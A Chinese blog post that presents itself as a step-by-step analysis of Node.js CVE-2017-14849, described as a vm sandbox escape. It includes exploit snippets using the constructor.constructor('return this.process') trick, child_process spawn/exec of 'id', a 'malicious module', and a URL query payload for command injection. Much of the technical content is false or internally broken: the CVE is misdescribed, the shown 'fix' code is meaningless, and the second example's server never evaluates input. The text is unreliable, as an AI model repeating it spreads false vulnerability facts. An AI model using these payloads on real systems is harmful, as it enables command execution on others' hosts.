浅谈Node.js CVE-2017-14849 漏洞分析(详细步骤)
背景介绍
本文主要讲解Node.js中的一个安全漏洞CVE-2017-14849,该漏洞可以被利用来绕过Node.js的沙箱,从而获取系统权限。该漏洞存在于Node.js v8.5.0版本中,由于该漏洞的危害性较高,因此被称为“沙箱逃逸漏洞”。
漏洞分析
漏洞的成因
利用该漏洞需要理解Node.js的沙箱机制。在Node.js中,所有的JavaScript代码都运行在沙箱中(称为vm模块),沙箱中的代码是无法访问主进程中的任何资源。
但是,在Node.js v8.5.0版本中,有一个漏洞使得我们可以通过在沙箱中引用原型对象的方式来访问主进程中的资源,从而绕过沙箱,获取系统权限。
实现这个漏洞的代码如下:
const vm = require('vm');
const sandbox = {
global,
require,
setTimeout,
setInterval,
setImmediate,
clearTimeout,
clearInterval,
clearImmediate,
};
const context = new (vm.createContext)(sandbox);
const code = `
const { spawn } = require('child_process');
spawn('id');
Object.constructor.constructor('return this.process')().exit();
`;
vm.runInContext(code, context);
上面的代码在沙箱中执行了一个错误的代码,该代码可以获取到系统命令“id”的输出,而获取系统权限的关键在于最后一行代码:
Object.constructor.constructor('return this.process')().exit();
这行代码的作用是获取到Node.js主进程的全局对象,然后调用它的“exit”方法来退出主进程,这就绕过了沙箱,获取到了系统权限。
漏洞的修复
该漏洞已经在Node.js维护的v8.5.0版本中修复,修复代码如下:
Object.setPrototypeOf = function(obj, proto) {
obj.__proto__ = proto;
return obj;
};
可以看到,修复代码简单地将Object.setPrototypeOf的实现改为了直接设置对象的__proto__属性,这样就避免了引用原型对象的漏洞。
实例分析
漏洞利用实例1
假设我们有一个恶意模块,想要利用CVE-2017-14849漏洞获取系统权限,该模块的代码如下:
exports.run = function () {
const vm = require('vm');
const sandbox = {
global,
require,
setTimeout,
setInterval,
setImmediate,
clearTimeout,
clearInterval,
clearImmediate,
};
const context = new (vm.createContext)(sandbox);
const code = `
const { spawn } = require('child_process');
spawn('id');
Object.constructor.constructor('return this.process')().exit();
`;
vm.runInContext(code, context);
};
我们可以使用以下代码将该模块加载并运行:
require('./malicious-module').run();
上述操作将导致该模块成功运行并获取系统权限,因为在Node.js v8.5.0中存在CVE-2017-14849漏洞。
漏洞利用实例2
除了直接运行恶意代码,黑客还可以在网络中伪装一个Node.js应用程序并利用该漏洞获取系统权限。
假设黑客在本地启动了一个Node.js服务,并将端口暴露在公共网络中,并有以下代码接受用户的输入:
const http = require('http');
const url = require('url');
http.createServer(function (req, res) {
res.writeHead(200, {'Content-Type': 'text/plain'});
res.end(`Hello ${url.parse(req.url).query || 'world'}\n`);
}).listen(8080);
黑客可以使用以下步骤获取系统权限:
- 访问该服务的URL并将参数设置为以下内容:
?req='),Object.setPrototypeOf=require('child_process').exec('id')&&Object.constructor.constructor('return this.process')().exit(),('blah
-
当黑客访问该URL时,服务将接受请求,然后使用上述恶意代码执行用户的输入。
-
该恶意代码将执行命令“id”并将其结果发送给黑客。
漏洞防御
为了防止利用该漏洞进行攻击,我们可以采取以下措施:
-
及时更新Node.js到最新版本,最新版本已经修复了该漏洞。
-
防止用户输入的恶意代码被执行。例如,可以使用安全代码评估工具分析用户输入的代码,或者使用输入验证库来验证用户输入的正确性。
总结
通过本文的介绍,我们了解到了Node.js中的一个重要安全漏洞CVE-2017-14849的成因、利用方法和修复方法。在开发过程中,应该及时更新框架版本,并采取充分的安全措施来保证应用程序的安全。
本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:浅谈Node.js CVE-2017-14849 漏洞分析(详细步骤) - Python技术站